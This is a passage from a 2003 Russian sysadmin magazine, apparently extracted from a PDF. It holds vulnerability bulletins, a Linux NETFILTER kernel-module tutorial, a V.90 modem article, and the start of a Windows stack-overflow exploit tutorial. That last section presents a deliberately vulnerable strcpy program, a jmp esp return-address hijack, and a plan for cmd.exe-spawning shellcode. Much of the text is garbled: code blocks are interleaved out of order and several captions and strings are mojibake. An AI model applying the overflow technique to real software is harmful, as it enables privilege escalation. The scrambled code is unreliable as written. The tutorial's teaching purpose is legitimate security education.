Определение существования приватного IP-адреса в пакетном фильтре pf OpenBSD Уязвимость раскрытия информации обнаружена в пакетном фильтре pf OpenBSD. Удаленный пользователь может раскрыть частный IP-адрес или номер порта. Сообщается, что в некоторых конфигурациях, в которых пакеты перенаправляются с помощью «pf», удаленный пользователь может выполнить «brute force» нападение, конструируя одиночный TCP SYN пакет (например, к 25 порту) для каждого IP-адреса в приватной адресной сетке. Система ответит только в случае, если запрошен существующий IP-адрес. Способов устранения обнаруженной уязвимости не существует в настоящее время.
Доступ к зашифрованным паролям в Microsoft Commerce Server 2002 Уязвимость обнаружена в Microsoft Commerce Server. Локальный пользователь может расшифровать пароли к SQL-серверу. Сообщается, что когда Microsoft Commerce Server конфигурирован, чтобы использовать авторизацию SQLcервера, Commerce Server хранит пароли SQL-сервера в реестре Windows в ключе HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\Commerce Server «ADMINDBPS». Согласно сообщению, все локальные пользователи в группе «Users» могут читать это значение реестра. Зашифрованный пароль может быть расшифрован. Уязвимость обнаружена в Microsoft Commerce Server 2002. Способов устранения обнаруженной уязвимости не существует в настоящее время.
Доступ к системной учетной записи через именованные каналы в Microsoft Windows 2000 Terminal Services Уязвимость обнаружена в Microsoft Windows 2000. Атакующий может получить доступ к учетной записи SYSTEM. Сообщается, что Microsoft Windows не в состоянии правильно обрабатывает именованные каналы с Terminal Services. В результате атакующий (локальный и, возможно, удаленный) может получить доступ к системе с SYSTEM-привилегиями. Уязвимость обнаружена в Microsoft Windows 2000 SP3. Уязвимость устранена в Microsoft Windows 2000 SP4.
Составил Александр Антипов
62
сети
NETFILTER
ВЛАДИМИР МЕШКОВ 64
сети Общие сведения NETFILTER – это новый механизм фильтрации сетевых пакетов, появившийся в составе ядра Linux версий 2.4. Данный механизм позволяет отслеживать прохождение пакетов по стеку IP-протокола и при необходимости перехватить, модифицировать, блокировать любой пакет. На базе NETFILTER построен iptables – пакетный фильтр, широко использующийся при построении межсетевых экранов. Для включения NETFILTER в состав ядра необходимо в конфигурационном файле установить опцию CONFIG_NETFILTER = y и пересобрать ядро. После этого все пакеты, проходящие по стеку IPv4-протокола, будут обработаны NETFILTER. Рассмотрим для примера главную приемную функцию IPv4-протокола ip_rcv (файл ip_input.c). Найдем в ней следующий код: return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, ↵ NULL, ip_rcv_finish);
Обращение к NETFILTER выполняет макрос NF_HOOK. В вызове макроса указаны протокол (PF_INET), точка перехвата (NF_IP_PRE_ROUTING), поступивший пакет (структура skb), информация о входном и выходном интерфейсах (структура dev и NULL, соответственно). В точке перехвата пакет попадает в ловушку – так называется функция, которая на основе анализа адресной информации решает судьбу пакета: либо он пройдет дальше, либо будет уничтожен. Последний аргумент – функция, которая будет вызвана для дальнейшей обработки поступившего пакета. Эта функция будет вызвана только в том случае, если NETFILTER пропустит пакет. В случае если NETFILTER в состав ядра не включен (опция CONFIG_NETFILTER = n) или ловушка не установлена, макрос сразу вызовет функцию ip_rcv_finish для дальнейшей обработки пакета. Цель данной статьи – рассмотреть возможность применения NETFILTER при написании собственных модулей фильтрации сетевого трафика.
При помощи NETFILTER можно перехватить пакет в любой из этих точек. С этой целью к точке перехвата подключается ловушка (hook). Если мы хотим отслеживать все пакеты, поступающие на хост (включая транзитные), мы должны подключиться к точке PRE_ROUTING. Если нас интересуют пакеты, адресованные непосредственно нашему (локальному) хосту, то необходимо подключиться к точке LOCAL_IN и т. д.
Регистрация ловушки Перед подключением ловушку необходимо зарегистрировать. Это осуществляется путем заполнения структуры nf_hook_ops и вызова функции регистрации ловушки nf_register_hook(). Аргументом этой функции является адрес структуры nf_hook_ops. Структура nf_hook_ops определена в заголовочном файле <linux/netfilter.h>. Рассмотрим ее: struct nf_hook_ops { struct list_head list; /* User fills in from here down. */ nf_hookfn *hook; int pf; int hooknum; /* Hooks are ordered in ascending priority. */ int priority; };
Основные поля структуры:
nf_hookfn *hook – ловушка, т.е. функция, которая бу-
Точки перехвата Рассмотрим схему прохождения пакета по стеку IPv4протокола (рис.1). Поступивший на сетевой интерфейс пакет попадает в точку PRE_ROUTING. Если пакет адресован локальному хосту, ядро передает его для обработки локальному процессу (точка LOCAL_IN). Если пакет транзитный, из точки PRE_ROUTING он попадает в точку FORWARD и из нее двигается дальше в точку POST_ROUTING. В этой точке объединяются в один поток исходящие пакеты, сформированные локальными процессами (LOCAL_OUT), и транзитные пакеты, поступившие из точки FORWARD.
Прототип функции-ловушки также определен в файле <linux/netfilter.h> и выглядит следующим образом: typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *));
Аргументы функции:
unsigned int hooknum – точка подключения ловушки (определяется в структуре nf_hook_ops).
struct sk_buff **skb – двойной указатель на структуру
Ðèñ. 1. Ñõåìà ïðîõîæäåíèÿ ïàêåòà ïî ñòåêó Ipv4-ïðîòîêîëà.
№8(9), август 2003
дет вызвана для обработки (анализа) пакета. Именно эта функция решает, что сделать с пакетом – отбросить его или принять. int pf – протокол. Для IPv4 это значение равно PF_INET. int hooknum – точка подключения ловушки. int priority – приоритет. К одной точке может быть подключено несколько ловушек. Чтобы установить порядок их вызова, вводится приоритет. Ловушка с самым низким приоритетом первой обработает пакет.
sk_buff. Данная структура содержит полную информацию о сетевом пакете. Определена в файле <linux/ skbuff.h>. const struct net_device *in, *out – информация о входном и выходном интерфейсе.
Перечень возвращаемых функцией значений перечислен в файле <linux/netfilter.h>.
65
сети Пример использования NETFILTER
const struct net_device *indev, const struct net_device *outdev, int (*okfn)(struct sk_buff *)) {
Рассмотрим на простом примере, как использовать NETFILTER. Разработаем модуль ядра, выполняющий следующие действия: перехват и блокирование IP-пакета, адресованного локальному хосту; передачу перехваченного IP-пакета пользовательскому процессу. Пользовательский процесс, приняв пакет, отображает данные о нем, такие как IP-адреса отправителя и получателя, длину заголовка, длину всего пакета, и сбрасывает содержимое пакета в файл. Ловушка активизируется в момент открытия устройства пользовательским процессом. При закрытии устройства ловушка отключается.
Модуль Модуль является символьным устройством. Создадим для него файл устройства командой: mknod /dev/nf_ip c 76 0
Заголовочные файлы и переменные: #include #include #include #include #include #include #include #include
<linux/config.h> <linux/module.h> <linux/netfilter_ipv4.h> <linux/ip.h> <linux/slab.h> <linux/fs.h> <linux/types.h> <asm/uaccess.h>
Приняв сетевой пакет, модуль заполняет информационную структуру следующего содержания: struct ip_pkt { __u16 iph_len; __u32 pkt_len; char buff[65536]; } *pkt;
Эта структура будет передана пользовательскому процессу. Назначение полей структуры: __u16 iph_len – длина заголовка IP-пакета; __u32 pkt_len – длина IP-пакета; char buff[65536] – содержимое IP-пакета (заголовок + данные). Размер буфера buff равен максимальной длине пакета протокола IPv4. Структура заголовка IP-пакета:
iph = (*pskb)->nh.iph; pkt->iph_len = iph->ihl<<2; pkt->pkt_len = (*pskb)->len; memset((*pskb)->data+pkt->iph_len,0, ↵ ((*pskb)->len)-(pkt->iph_len)); memcpy(pkt->buff,(*pskb)->data,(*pskb)->len); printk("Indev - %s\n",(char *)indev); printk("Outdev - %s\n",(char *)outdev); pkt_ready = 1; return NF_DROP; }
Аргументы функции были перечислены выше. Функция заполняет поля структуры pkt данными о перехваченном пакете. Эти данные содержатся в структуре struct sk_buff **pskb. Объединение nh данной структуры содержит заголовок сетевого уровня (network layer header), поле len – длину IP-пакета, поле data – содержимое пакета. Этими значениями заполняется структура pkt, причем поле данных IP-пакета обнуляется. После этого устанавливается флаг готовности данных для считывания и ядру дается команда блокировать дальнейшее прохождение данного пакета (return NF_DROP). Заполним структуру struct nf_hook_ops: static struct nf_hook_ops our_ops = { {NULL,NULL}, our_hook, PF_INET, NF_IP_LOCAL_IN, NF_IP_PRI_FILTER-1 };
Ловушка подключается к точке LOCAL_IN, на что указывает значение NF_IP_LOCAL_IN поля hooknum структуры nf_hook_ops. Следовательно, перехвачен и блокирован будет пакет, адресованный локальному хосту. Теперь определимся с функциями устройства (модуля). Пользовательский процесс должен открыть его, прочитать данные и закрыть. Следовательно, структура file_operations для данного устройства выглядит следующим образом: struct file_operations nf_fops = { read: read_pkt, open: open_pkt, release: close_pkt, };
Рассмотрим эти функции.
Функция открытия устройства:
struct iphdr *iph;
Флаг готовности данных для считывания: int pkt_ready;
static int open_pkt(struct inode *inode, struct file *file) { if(MOD_IN_USE) return -EBUSY; if(MINOR(inode->i_rdev) != 0) return -ENODEV; if((file->f_mode) != 1) return -EBUSY; pkt=(struct ip_pkt *)kmalloc ↵ (sizeof(struct ip_pkt),GFP_ATOMIC); nf_register_hook(&our_ops); pkt_ready = 0; MOD_INC_USE_COUNT; return 0;
Функция-ловушка: static unsigned int our_hook ( unsigned int hook, struct sk_buff **pskb,
66
}
сети При открытии устройства выделяем память для структуры pkt, регистрируем ловушку вызовом функции nf_register_hook и сбрасываем флаг готовности данных. Функция чтения из устройства: static ssize_t read_pkt(struct file *file, char *buf, ↵ size_t count, loff_t *ppos) { if(pkt_ready) { copy_to_user(buf,pkt,sizeof(struct ip_pkt)); count = pkt->pkt_len; file->f_pos += count; pkt_ready = 0; return count; } return 0; }
Если флаг pkt_ready установлен, блок данных (структура pkt) копируется в адресное пространство пользовательского процесса. После этого флаг pkt_ready сбрасывается. Функция возвращает длину принятого IP-пакета. Функция закрытия устройства: static int close_pkt(struct inode *inode, struct file *file) { kfree(pkt); nf_unregister_hook(&our_ops); MOD_DEC_USE_COUNT; return 0; }
При закрытии устройства освобождается память, выделенная для структуры pkt и ловушка отключается путем вызова функции nf_unregister_hook. Аргументом этой функции является адрес структуры struct nf_hook_ops. Функции инициализации и выгрузки модуля выполняют стандартную процедуру регистрации и снятия регистрации устройства в системе: int init_module(void) { if (register_chrdev(76,"nf_ip",&nf_fops)) return -EIO; return 0; }
Заголовочные файлы: #include #include #include #include #include #include
<stdio.h> <sys/types.h> <unistd.h> <fcntl.h> <errno.h> <linux/ip.h>
int main () {
Структура, содержащая информацию о принятом пакете: struct data_pkt { u_short iph_len; u_long len; char buff[65536]; } data;
Структура, описывающая заголовок IP-пакета: struct iphdr ip; int count=0; int fddev=0; int d; puts("\nÆäåì ïàêåò ... ");
Обнуляем структуры: memset(&data,0,sizeof(struct data_pkt)); memset(&ip,0,sizeof(struct iphdr));
Открываем устройство: fddev=open("/dev/nf_ip",O_RDONLY); if(fddev<0) { perror("nf_ip"); exit(0); }
Запускаем цикл ожидания IP-пакета: for(;;) { count=read(fddev,(char *)&data,sizeof(struct data_pkt));
void cleanup_module(void) { if(MOD_IN_USE) return; unregister_chrdev(76,"nf_ip"); return; }
Приведенный выше код сохраним в файле netf.c. Для получения загружаемого модуля ядра создадим Makefile следующего содержания: CC = gcc CFLAGS = -O2 -Wall LINUX = /usr/src/linux MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include netf.o: netf.c $(CC) $(CFLAGS) $(MODFLAGS) -c netf.c
if(count < 0) { perror("count"); return (-1); } if(count == 0) continue; if(count > 0) { close(fddev); break; } }
Как только приходит пакет, закрываем устройство и выходим из цикла. Информируем о приходе пакета и отображаем данные о нем: printf("ïàêåò ïîëó÷åí.\n\n"); printf("Äëèíà ïàêåòà\t-\t%d\n",data.len); printf("Äëèíà IP-çàãîëîâêà\t-\t%d\n",data.iph_len);
Теперь рассмотрим пользовательский процесс.
Пользовательский процесс Пользовательский процесс после запуска открывает файл устройства и считывает из него IP-пакет, отображает данные о нем и сбрасывает содержимое пакета в файл data.file.
№8(9), август 2003
Запишем в файл содержимое полученного пакета (поле buff структуры struct data_pkt): d=open("data.file",O_CREAT|O_TRUNC|O_RDWR,0600); if(!d) { perror("data.file");
67
сети return (-1); } if(!(write(d,data.buff,data.len))) { perror("data.file"); return (-1); } close(d);
Первые (data.iph_len) байт массива data.buff – это заголовок принятого IP-пакета. Скопируем его в структуру struct iphdr и отобразим данные: memcpy(&ip,data.buff,data.iph_len); printf("\nSource IP\t-\t%s\n",inet_ntoa(ip.saddr)); printf("Destin. IP\t-\t%s\n",inet_ntoa(ip.daddr)); printf("Ïðîòîêîë\t-\t%d\n",ip.protocol); printf("Äëèíà çàãîëîâêà\t-\t%d\n",ip.ihl<<2); printf("Äëèíà ïàêåòà\t-\t%d\n\n",ntohs(ip.tot_len)); return (0); }
Приведенный код сохраним в файле pkt_read.c. Получим исполняемый модуль, введя команду:
00000030 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000040 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000050 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
Первые 20 байт – это заголовок пакета. По смещению 0x0C находятся IP-адреса источника и получателя – DF DF 01 0A (223.223.1.10) и DF DF 01 03 (223.223.1.3). Поле данных IP-пакета обнулено. Теперь изменим условие задачи – будем перехватывать и блокировать пакеты, исходящие с локального хоста. Для этого переключим ловушку в точку LOCAL_OUT. В структуре our_ops в поле hooknum занесем значение NF_IP_LOCAL_OUT, т.е. структура примет вид: static struct nf_hook_ops our_ops = { {NULL,NULL}, our_hook, PF_INET, NF_IP_LOCAL_OUT, NF_IP_PRI_FILTER-1 };
Перекомпилируем и загружаем модуль, запускаем пользовательский процесс и удаленному хосту отправляем три ICMP-пакета:
gcc -o pkt_read pkt_read.c ping -c3 223.223.1.10
Теперь проверим, как все это работает. Схема следующая: имеется локальный хост с адресом 223.223.1.3 и удаленный с адресом 223.223.1.10. С локального хоста отправляем три ICMP-пакета удаленному при помощи утилиты ping и смотрим за реакцией системы. Загружаем модуль (insmod netf.o) и запускаем на выполнение пользовательский процесс (pkt_read). Удаленному хосту отправляем три ICMP-пакета:
Результат работы команды ping:
ping -c3 223.223.1.10
Результат работы команды ping:
Как и ожидалось, первый пакет потерян. Наш модуль его заблокировал. Пользовательский процесс выдал следующую информацию об этом пакете:
А теперь посмотрим на содержимое файла data.file. Размер этого файла равен длине пакета (84 байт). Открыв его 16-тиричным редактором, увидим следующее: 00000000 45 00 00 54 | 01 6C 00 00 | FF 01 F8 70 | DF DF 01 0A 00000010 DF DF 01 03 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 00000020 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00
68
Первый пакет в сеть не попал – был заблокирован модулем. Следующие два прошли беспрепятственно. Таким образом, при помощи NETFILTER мы получили возможность воздействовать на процесс прохождения пакетов по стеку IPv4-протокола, перехватывать их, блокировать, изменять их содержание. Это может оказаться полезным, если вы решите разработать собственный модуль фильтрации сетевого трафика, учета статистики трафика, шифрования IP-пакетов и т. д.
bugtraq сети Целочисленное переполнение буфера в Xbox Так называемая группа Free-X утверждает, что ей удалось преодолеть все уровни защиты игровой консоли без каких-либо модификаций аппаратуры, чем навлекла на себя резкую критику со стороны Microsoft. Free-X утверждает также, что соответствующий эксплоит уже разослан через список рассылки. Члены группы рассказали ZDNet Australia, что Free-X честно пыталась договориться с Microsoft и просила выпустить загрузчик Linux с цифровой подписью, позволяющий владельцам Xbox исполнять операционную систему с открытым исходным кодом без каких-либо модификаций аппаратуры и вскрытия консоли. Microsoft не вступила в переговоры. Представители группы отвергают обвинения в потворстве пиратам и в свою очередь обвиняют компанию в отказе защитить интеллектуальную собственность разработчиков игры. По их словам, загрузчик с цифровой подписью не позволил бы использовать консоль для пиратских игр, а тот, что разработала Free-X, – позволяет. Free-X утверждает, что у нее нет намерения способствовать пиратству. «Если бы Microsoft согласилась на Linux с цифровой подписью... нелегальное использование пиратского ПО можно было бы предотвратить, – говорится в заявлении Free-X. – Жаль, что Microsoft не разделяет нашего беспокойства по поводу защиты прав интеллектуальной собственности тех, кто разрабатывает ПО для их консоли». Microsoft, которая очень далека от того, чтобы признать деятельность группы антипиратской, обрушилась на нее с резкой критикой. «К вашему и этих... типов сведению, отделение Microsoft Xbox очень серьезно относится к пиратству видеоигр, – сообщила ZDNet Australia по e-mail представительница Microsoft. – Защита интеллектуальной собственности и авторских прав – наших и наших партнеров – высший приоритет для нас, и мы оставляем за собой право преследовать каждого и принимать меры против каждого, кто способствует пиратству видеоигр». Несколько недель назад, когда члены группы впервые обратились к ZDNet Australia, они не сказали, что располагают таким серьезным эксплоитом, а сообщили, что все их разработки требуют перепайки нескольких выводов на системной плате Xbox. Теперь Free-X утверждает, что консоль можно модифицировать чисто программным способом, и Microsoft упустила время. «Сегодня для Microsoft очень печальный день, – говорится в заявлении Free-X. – Месяц назад мы начали попытки связаться с корпорацией, так как разработали и испытали первое полностью программное решение мод-чипа. Это означает, что открывать корпус Xbox больше не нужно». Единственный способ для Microsoft защитить свою консоль от эксплоита – выпустить новое микропрограммное обеспечение или переработать ПО Xbox Dashboard, утверждает Free-X. Члены группы выражают сожаление, что общественное мнение считает ее усилия шантажом.
«С тех пор, как о наших попытках установить контакт с Microsoft стало известно общественности, нас обвиняют в намерении вымогательства или шантажа Microsoft, но это неправда, так как мы сделали все возможное, чтобы связаться с Microsoft», – говорится в заявлении одного из членов группы. Free-X предложила Microsoft описание всех разработанных группой эксплоитов, помощь по защите консоли от других атак, исходные коды, полную конфиденциальность и дальнейшие исследования в области эксплоитов для Xbox. «Наша команда всей душой желала сотрудничать с Microsoft, и мы, скорее всего, приняли бы все предложенные нам условия», – говорится в заявлении. Представительница Microsoft сказала, что предложения группы «оцениваются». Если то, в чем уверяет Free-X, правда, группа может претендовать на приз в 100 тыс. $, обещанный генеральным директором компании Lindows Майклом Робертсоном первой группе, которой удастся установить на консоли Linux без модификации аппаратуры.
ZoneAlarm Pro 4.0 теряет часть правил при обновлении с предыдущей версии Уязвимость обнаружена в ZoneAlarm Pro 4.0. Некоторые правила блокирования подключений не поддерживаются в новой версии. Пользователи, обновившие firewall до новой версии, могут потерять часть правил в процессе обновления. Как описано в документации к ZoneAlarm Pro, правила «port rules for Programs» в предыдущей версии программы автоматически преобразуются к «expert rules» при обновлении к версии 4.0. Однако некоторые правила не будут преобразованы, поскольку они не поддерживаются в новой версии. «expert rules» не могут использоваться для блокировки определенных программ на исходящие подключения к определенному порту. Например, правило, которое запрещает Outlook Express использовать 80 порт, не будет преобразовано. Уязвимость обнаружена в ZoneAlarm Pro 4.0
Подделка RSA-сигнатур в SSH Secure Shell Уязвимость авторизации обнаружена в SSH Secure Shell в SSH IPSEC Express Toolkit. Удаленный пользователь может подделать RSA-сигнатуры. Сообщается, что некоторые RSA-сигнатуры могут быть неправильно определены как допустимые, при выполнении host- или user-идентификации, используя цифровые сертификаты и RSA-ключи. Уязвимость воздействует на выполнение RSA PKCS v1.5. Уязвимость обнаружена в SSH Secure Shell 3.1.0 – 3.1.7 and 3.2.0 – 3.2.4; SSH IPSEC Express Toolkit 5.0.0 Для устранения уязвимости установите обновленную версию программы, которую можно скачать с сайта http://www.ssh.com/ Составил Александр Антипов
№8(9), август 2003
69
сети
ПРОТОКОЛ V.90
ДЕНИС КОЛИСНИЧЕНКО
70
сети В этой статье мы поговорим об особенностях протокола V.90. Сам протокол не очень новый и уже давно используется многими пользователями и провайдерами. Однако в процессе эксплуатации у пользователей по тем или иным причинам возникают разные проблемы, понять суть которых мы сможем, рассмотрев принципы работы самого протокола V.90. До появления протокола V.90 скорость передачи данных по телефонной линии 33,6 Кбит/с считалась теоретическим и тем более практическим пределом. Из-за возникающих шумов передача данных с большей скоростью считалась невозможной. Старые (V.34) модемы очень надежны и могут работать на любой, даже сильно зашумленной телефонной линии. Рассмотрим технологию передачи данных при использовании V.34-модемов. Цифровые данные с помощью модема преобразуются в аналоговый сигнал, который по телефонной линии проходит к телефонной станции. На станции данные оцифровываются, сжимаются и по оптоволоконному каналу передаются на другую станцию, которая выполняет декомпрессию и преобразование в аналоговый сигнал полученных данных. Затем этот сигнал снова преобразуется принимающим его модемом в цифровую форму. Выходит, что для передачи информации нужно выполнить четыре преобразования: два цифро-аналоговых и два аналогово-цифровых. V.34-модемы оптимизированы только для работы с аналоговой линией и они не «замечают» тот факт, что линия, к которой они подключены, является цифровой. Это означает, что даже если у вас цифровая линия, ваш V.34-модем все равно будет считать ее аналоговой и превысить предел скорости 33,6 Кбит/с вам не удастся. В последнее время подавляющее большинство новых линий являются цифровыми, цифровыми также являются линии, проложенные между телефонными станциями (к сожалению, далеко не все). Распространение цифровых линий стало основой для создания протокола V.90. Примечание. До появления протокола V.90 компаниями Rockwell (совместно с Lucent) и U.S.Robotics были разработаны два протокола – K56flex и X2. К сожалению, для провайдеров и конечных пользователей эти технологии не были совместимы. Поэтому возникла потребность создать универсальный протокол передачи данных по телефонной линии со скоростью 56 Кбит/с. Над решением данной проблемы работал комитет ITU (International Telecommunications Union). В феврале 1998 года был принят промышленный стандарт V.90 для модемов 56K. Принятый протокол V.90 предусматривает получение данных со скоростью 56 Кбит/с и отправление данных в сеть на скорости 33,6 Кбит/с. Модемы, поддерживающие протокол V.90, умеют распознавать цифровую линию, что позволяет снизить в два раза число преобразований передаваемых данных, что, в свою очередь, позволяет увеличить скорость передачи данных до 56 Кбит/с. Представим, что наш провайдер подключен к телефонной станции по цифровой линии, а мы – по аналоговой. В этом случае данные от провайдера будут переданы на станцию без каких-либо преобразований – в цифровом виде. Затем по оптоволоконному каналу они передаются нашей станции, которая выполняет цифро-аналоговое преобразование. А если цифровая
№8(9), август 2003
линия есть не только у провайдера, но и у пользователя, то для передачи данных вообще не нужны никакие преобразования. Конечно, все это будет работать, если у нас и у провайдера установлены модемы, поддерживающие V.90. Так как такой модем не является роскошью (V.90 поддерживается даже самыми дешевыми модемами, например, модемом Motorola SM56, стоимостью $15). То же самое можно сказать и о цифровой линии: многие провайдеры давно перешли на цифровую линию. Большинство V.90-модемов работают так: сначала они пытаются установить соединение с использованием протокола V.90, если соединение установить невозможно, они пытаются подсоединиться, используя стандарт K56flex. Если же нельзя установить соединение с использованием K56flex (например, «грязная» линия или с той стороны используется X2-модем), тогда модем переходит в обыкновенный V.34-режим. Некоторые модемы могут также поддерживать протокол X2, которые они пытаются включить после неудачной попытки установления протокола K56flex. Немного подытожим. Для работы по протоколу V.90 нам необходимо: Наличие V.90-модема. Практически все современные модемы поддерживают V.90. Провайдер, поддерживающий протокол V.90. Даже если у вас будет цифровая линия и V.90-модем, но провайдер не будет поддерживать V.90, толку от всего этого будет мало, так как протокол V.90 подразумевает передачу данных в сеть со скоростью 33,6 Кбит/с. Подходящий телефонный канал. Первые два условия вполне выполнимы: V.90-модем можно купить в любом магазине, а число провайдеров, поддерживающих V.90, растет с каждым днем. Наиболее сложное условие – это наличие подходящего телефонного канала. Если между нашей (пусть даже цифровой) станцией и станцией провайдера (тоже цифровой) отсутствует цифровое уплотнение данных с передачей по оптоволоконному каналу, то использование V.90 невозможно. Попросту говоря: если между нашей станцией и станцией провайдера не проложено оптоволокно, использовать V.90 нельзя. Вот именно из-за этого возможно возникновение проблем при подключении к провайдеру и при передаче данных. В данном случае можно порекомендовать отключить протокол V.90. Отключение V.90 может также потребоваться и в случае, если наш провайдер не поддерживает V.90 – не нужно полагаться на то, что модем сам правильно выберет нужный протокол. Возможно, это у него и получится – с десятой попытки. К тому же скорость будет в два раза ниже, чем при использовании V.34 – около 21 600 бит/с и ниже. Отключить V.90 можно определенной AT-командой. Выбор AT-команды зависит от модема (см. табл. 1): Òàáëèöà 1. Âûáîð AT-êîìàíäû äëÿ îòêëþ÷åíèÿ ïðîòîêîëà V.90.
71
сети Для некоторых модемов для отключения V.90 можно использовать команду AT-V90=0; а для отключения k56flex – ATS38=0. Теперь подробнее рассмотрим модем Morotola SM56. Этот модем установлен на моей домашней машине. Данный модем совместим как с протоколом V.90, так и с протоколом K56flex. Команда отключения V.90 представлена в таблице 1. Параметр %B# используется для ограничения скорости. Решетка (#) может принимать значения, представленные в таблице 2.
будьте ввести команду AT&W для сохранения настроек. Òàáëèöà 2. Îãðàíè÷åíèå ñêîðîñòè.
Данную команду можно использовать в качестве строки инициализации (без AT). Для этого выполните: Пуск → Панель управления → Модемы → Свойства → Подключение → Дополнительно:
Ðèñóíîê 2. Óñòàíîâêà ñòðîêè èíèöèàëèçàöèè.
Ваши вопросы, комментарии и пожелания присылайте по адресу dhsilabs@mail.ru. Ðèñóíîê 1. Ïðîãðàììà Hyper Terminal.
Примечание 1. Значения с %B34 по %B48 доступны только по протоколу V.90. Примечание 2. Буква F означает, что данный режим возможен только при использовании протокола K56Flex. Например, для установки соединения по протоколу V.90 со скоростью 54 666 бит/с нужно ввести команду AT%B48. Где вводить данную команду? В любом терминале, например, Hyper Terminal. (см. рис. 1). После этого не за-
72
Ссылки: 1. Подключение V.90: http://isunet.baikal.ru/support/v90.htm http://www.jurion.ru/gm56pci/page.php?chapter=4&mnemo=f90 2. Полезные советы по работе с модемом: http://www.avtlg.ru/service/modemhelplimit.htm 3. Оптимизация модема: http://www.woodwolf.ru/modem/optim.htm
безопасность
ПЕРЕПОЛНЕНИЕ БУФЕРА В WINDOWS NT/2000/XP СТАНИСЛАВ ГОШКО Пусть что угодно говорят поклонники *nix-систем, но защита в последних версиях операционных систем семейства Windows сделала громадный скачок вперёд. И так как языки C и C++ очень распространены и на платформах Windows, то атаки на переполнение буфера стали реальной угрозой безопасности. Атаки такого типа известны уже очень давно, со времен операции «Полуденный бес», которая проводилась в США, начиная с мая 1990 года, и была направлена против хакеров. Её проводила «Секретная Служба». Переполнение буфера, правда, на операционные системы семейства *nix использовалось хакерами по полной программе. Но реальная угроза данных атак на операционные системы семейства Windows появилась гораздо позднее, в 1995-2002 годах. Смысл атак на переполнение буфера заключается в том, что существуют программы, запущенные с большими привилегиями, чем у пользователя, и благодаря переполнению буфера для пользователя стало возможно получить эти привилегии (уязвимой программы). Мы рассмотрим одну из самых распространённых атак на переполнение буфера. Это так называемая атака на «срыв стека». В большинстве своём данные атаки возможны во многих программах, написанных на языках программирования C или C++. Поэтому мы рассмотрим пример уязвимой программы, а также разработаем для неё эксплоит (программу, которая реализует данную уязвимость). Начнём с разработки простой программы, содержащей данную уязвимость: #include <stdio.h> #include <windows.h> void vuln_func(char *stroka) { char buffer[100]; // áóôåð lstrcpyA(buffer,stroka); // ôóíêöèÿ, â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà } void main (int argc, char *argv[]) { vuln_func(argv[1]); // âûçîâ óÿçâèìîé ôóíêöèè printf("Parameter is : %s",argv[1]); }
74
Откомпилируем её и выясним, что делает эта программа. Если запустить её без параметров, то она выведет следующее: Parameter is : 0(null)
Запустим её следующим образом: c:\x-files\bug.exe aaaaaaa
Тогда данная программа выведет: Parameter is : aaaaaaa
Но если в качестве параметра передать количество «a» большее, чем 100, то данная программа просто ничего не выведет в отличие от Windows NT, которая выводила сообщение об ошибке. Поэтому реализовать атаку данного типа под операционной системой Windows XP будет несколько сложнее. Теперь давайте возьмём отладчик и посмотрим, что же происходит при вызове нашей уязвимой функции. Будем рассматривать пошагово: При вызове функции vuln_func в стек заносится адрес следующей инструкции (printf). Рассмотрим вид стека перед вызовом функции lstrcpyA:
Рассмотрим вид стека после вызова функции lstrcpyA:
Так как наша переменная росла к адресу возврата, и когда ей стало не хватать места, она молча и без вопросов переписала адрес возврата нашими любимыми буквами «aaaaaaaa...». Раз мы можем переписать адрес возврата, значит, мы можем и заставить нашу программу выполнять наш код.
безопасность Для этого вместо букв «a» мы будем использовать символ с кодом 90 («\x90»), что означает инструкцию ассемблера nop (задержка процессора на один такт). Также нам необходимо точно определить, какими байтами (по счёту) перезаписывается адрес возврата, чтобы мы знали, куда записывать наш новый адрес возврата. Обычно это делается методом «грубой силы», а потом по сообщению об ошибке определяются байты, по которым был совершён переход. Но данный метод в нашем случае не уместен, т.к. в Windows XP сообщение об ошибке не вываливается. Поэтому нам придётся вручную при помощи отладчика подсчитывать, какие по счёту nop перетёрли адрес возврата, это несложно и нетрудоёмко, т.к. в стеке все приравнивается к двойному слову (4 байта). В нашем случае это оказались 4 байта, начиная со 104. Теперь, когда мы знаем, какими байтами перетирается адрес возврата, мы должны подменить его таким образом, чтобы он передал управление нашему коду, а если быть более точным, то он должен передать управление на наши nop. Реально очень удобно просто передать управление в отладчике на наши инструкции, но если это удалённое переполнение буфера или у вас нет под рукой отладчика? При помощи прямой подмены адреса на наш вычисленный адрес стека не получится, потому что адрес стека начинается с нуля, а наш код не должен состоять из нулей. Поэтому оптимальным вариантом будет обнаружить в памяти используемых программой библиотек или в памяти самой программы обнаружить байты, соответствующие инструкции «jmp esp» - ff e4. В статье Андрея Колищака (1) предлагался вариант использования инструкции «call esp», но с этим вариантом я должен не согласиться, так как при переходе на эту инструкцию с последующим её исполнением мы перетираем байты, находящиеся по адресу esp, т.е. мы сами себе портим жизнь (при переходе на esp нам будет очень сложно запустить наш код). Поэтому оптимальным вариантом будет поиск в памяти байт «ff e4». В результате поиска мы обнаружили данные байты в библиотеке USER32.dll и запомнили адрес (в каждой версии операционной системы он может быть отличным). Теперь мы должны заняться формированием shell-кода – это будет строка Command Promt. Реально мы должны запустить программу cmd.exe. Чтобы не морочить вам голову «кривыми» аналогами данной программы на C, начнём её писать сразу на ассемблере, но перед этим мы должны кое в чём разобраться. Наш эксплоит будет зависеть от USER32.dll, что означает на других версиях операционной системы Windows XP, по всей видимости, он работать не будет. Исходя из предыдущего пункта, мы видим, что не имеет смысла встраивать в наш shell-код обнаружение адреса ядра и функции GetProcAddress. Поэтому для экономии места мы в эксплоите жёстко зафиксируем адрес нужной нам функции WinExec.
№8(9), август 2003
Аналог того, что будет делать наш эксплоит на С, будет выглядеть примерно так: #include <windows.h> void main() { WinExec("cmd.exe",1); }
